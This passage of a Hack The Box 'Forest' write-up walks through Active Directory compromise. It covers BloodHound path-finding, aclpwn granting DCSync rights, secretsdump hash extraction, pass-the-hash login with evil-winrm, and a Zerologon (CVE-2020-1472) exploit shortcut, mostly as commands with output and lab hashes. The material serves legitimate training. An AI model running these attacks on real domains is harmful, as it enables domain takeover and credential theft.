└─$ ./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -u svc-alfresco -p s3rvice -m 'Service Accounts'      
[+] Using Domain Controller at: 10.10.10.161
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=htb,DC=local
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      u:HTB\svc-alfresco
[+] Attempting to enumerate full DN for group: Service Accounts
[+] Found 2 results:

0: OU=Service Accounts,DC=htb,DC=local
1: CN=Service Accounts,OU=Security Groups,DC=htb,DC=local

Which DN do you want to use? : 1
[+]      Found 1 members:

b'CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local'

[*] Bye!

WinPEAS, another well-used privesc checking tool, returns similar output, indicating no obvious vectors. There also doesn’t seem to be any additional services running on the machine internally (e.g on the localhost interface only) so it seems unlikely we’ll be able to elevate our access via a third-party application or service, meaning now is probably the right time to take a closer look at the Active Directory setup in search of insecure configurations. Bloodhound is an excellent choice for this, as it allows deep inspection of a domain’s environment through a highly-intuitive graph perspective, powered by the king of graph databases, neo4j. The first step involves scraping the relevant AD info, which can be done through one of several ingestors. In this case, we’ll use the Windows-native SharpHound, again uploaded via evil-winrm:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload ./github/BloodHoundAD/BloodHound/Collectors/SharpHound.exe .\SharpHound.exe
Info: Uploading ./github/BloodHoundAD/BloodHound/Collectors/SharpHound.exe to .\SharpHound.exe

Data: 1209000 bytes of 1209000 bytes copied

Info: Upload successful!

We then execute the binary, specifying both all and gpolocalgroup as the collection methods, to give us maximum insight into the setup (full details on all collection methods can be found here):

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\SharpHound.exe -c all,gpolocalgroup
2022-03-20T18:10:15.5105356-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-03-20T18:10:15.5105356-07:00|INFORMATION|Initializing SharpHound at 6:10 PM on 3/20/2022
2022-03-20T18:10:16.0105368-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-03-20T18:10:17.0105953-07:00|INFORMATION|Beginning LDAP search for htb.local
2022-03-20T18:10:17.3699183-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-03-20T18:10:17.3699183-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-03-20T18:10:47.1035839-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 46 MB RAM
2022-03-20T18:11:01.5884294-07:00|INFORMATION|Consumers finished, closing output channel
2022-03-20T18:11:01.6353038-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-03-20T18:11:01.8540538-07:00|INFORMATION|Status: 161 objects finished (+161 3.659091)/s -- Using 53 MB RAM
2022-03-20T18:11:01.8540538-07:00|INFORMATION|Enumeration finished in 00:00:44.9508362
2022-03-20T18:11:02.0571830-07:00|INFORMATION|SharpHound Enumeration Completed at 6:11 PM on 3/20/2022! Happy Graphing!

This produces a [timestamp]_BloodHound.zip archive, containing json files that describe the AD environment. We just need to download this zip to a machine running both Neo4j & Bloodhound, and then import the json files.

The next step in exploring the environment is to mark any accounts that we have access to as owned, which enables the most useful aspect of BloodHound, the path-finding queries. To do this, we right-click on the svc-alfresco node and select Mark User as Owned, which adds a highly-satisfying skull to the node:

Now we can start using the pre-built analytics queries, which have been setup to identify some of the common misconfigurations associated with Active Directory. The queries are named to indicate their intended usage - “Find Principals with DCSync Rights”, “Find Dangerous Rights for Domain Users Groups” etc. Not all of them return data, indicating the query did not find a matching vulnerability in the network. After working our way through the list, eventually we hit “Shortest Paths to Domain Admins from Owned Principals”:

This diagram indicates two things - first, our owned user svc-alfresco has chained group membership that allows it to PSRemote (execute commands) on the target machine. Technically we already knew this, and have made use of it through evil-winrm. But the second useful fact is that the administrator account has a session on the same machine, which may make it possible to either steal the credentials from the machine, or perform a token impersonation attack. The background to these attacks, and the method of executing them, is available by right-clicking on the HasSession relationship to show the GENERAL (explanation) and ABUSE (methodology) details:

Unfortunately, neither of the attacks outlined seem possible with our current level of access. This is because dumping data from the Local Security Authority Subsystem Service (LSASS) as explained in the ABUSE tab requires local administrator access, which our account does not have. It took many hours and trialling various techniques before fully accepting this, given there are many ways to attempt it (mimikatz as both an executable and PowerShell, secretsdump, various token impersonation / theft techniques etc.) I’ve previously used Neo4j a lot in my data-engineering consultancy, so felt comfortable reviewing the raw Cypher query that was being executed in this query:

MATCH p=shortestPath((n {owned:true})-[:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin|ReadGMSAPassword|HasSIDHistory|CanPSRemote|AZAddMembers|AZContains|AZContributor|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZAppAdmin|AZCloudAppAdmin|AZRunsAs|AZKeyVaultContributor|AddSelf|WriteSPN|AddKeyCredentialLink*1..]->(m:Group {name:"DOMAIN ADMINS@HTB.LOCAL"})) WHERE NOT n=m RETURN p

The intent of this query is throw a wide net, but in the case of this box, it’s actually too wide. Our account, svc-alfresco, is not a local administrator, so we need to drop any use of relationships that depend on this kind of access, chief among them HasSession. If we remove this (either via the raw query, or through the Edge Filtering GUI in Bloodhound) and re-run the query, we get something quite different:

This diagram indicates that our owned user has GenericAll access to the EXCHANGE WINDOWS PERMISSIONS group (the node in the centre), which in turn has WriteDacl to the entire domain. Again, right-clicking on both of these relationships indicates that this would allow a two-step path to domain access:

  1. add our user to the new group, which is possible via the GenericAll permission
  2. enable DCSync (domain controller sync) for the group, which will allow us to dump the user hashes from memory. This isn’t so much an exploit as a misuse of legitimate functionality, essentially mimicking the request by a new domain controller attempting to sync itself with the domain’s current state

As outlined in the Bloodhound abuse info, there are various ways to achieve these two steps. We can use PowerShell or native net group.. commands to put ourself into EXCHANGE WINDOWS PERMISSIONS, and then PowerShell, mimikatz or secretsudmp to dump the hashes. There is also the aclpwn tool, designed to both identify chains of AD exploitation, and then run the commands necessary to achieve them. Similar to Bloodhound, the script interrogates a locally-running Neo4j database to find vulnerabilities. We just need to specify the SOURCE node (-f svc-alfresco@htb.local) and the DESTINATION node (-t HTB.local). The -dry flag indicates we only want to find a path at this stage, rather than actually exploiting it:

$ aclpwn -f svc-alfresco@htb.local -t HTB.LOCAL -dry
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Computer,Base)
[-] Invalid path, skipping
[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain,Base)
[-] Invalid path, skipping
Please choose a path [0-1]

There are actually two paths identified here, but Path [1] is the one we’re interested in. If we run the command again, dropping the -dry flag and passing in the relevant details (domain, domain controller IP, username and password):

$ aclpwn -f svc-alfresco@htb.local -t HTB.LOCAL -s 10.10.10.161 -d htb.local -u svc-alfresco -p s3rvice
Please supply the password or LM:NTLM hashes of the account you are escalating from:
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Base,Computer)
[-] Invalid path, skipping
[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain,Base)
[-] Invalid path, skipping
Please choose a path [0-1] 1
[-] Memberof -> continue
[-] Memberof -> continue
[-] Memberof -> continue
[-] Adding user svc-alfresco to group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[-] Switching context to svc-alfresco
[+] Done switching context
[-] Modifying domain DACL to give DCSync rights to svc-alfresco
[+] Dacl modification successful
[+] Finished running tasks
[+] Saved restore state to aclpwn-20220325-095615.restore

we now have a user that is a member of EXCHANGE WINDOWS PERMISSIONS, which in turn has been given DCSync rights. The final step is make use of the relevant impacket script to peform the DCSync attack:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump htb.local/svc-alfresco:s3rvice@forest.htb.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::f
...

We now have the Administrator hash, which in turn can be used to log in via evil-winrm, to access the root flag:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
0f677***************************
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

// Modern-Day Shortcut

In August of 2020 CVE-2020-1472 was released, exposing a vulnerability in Netlogon that would allow an unauthenticated remote user to easily obtain domain administrator access. A simple proof of concept script from GitHub allows us to achieve the same outcomes as above in two easy commands - first the PoC script itself, that sets the domain controller account’s password to an empty string:

┌──(kali㉿kali)-[~/github/dirkjanm/CVE-2020-1472]
└─$ python cve-2020-1472-exploit.py FOREST 10.10.10.161 
Performing authentication attempts...
=================================================================================================================================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

and second the same secretsdump command we issued earlier, but this time using the newly compromised FOREST$ account to authenticate:

┌──(kali㉿kali)-[~/github/dirkjanm/CVE-2020-1472]
└─$ impacket-secretsdump -just-dc -no-pass FOREST\$@10.10.10.161                        
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...

A much faster result, but not really the path intended, and definitely not as educational 👨‍🎓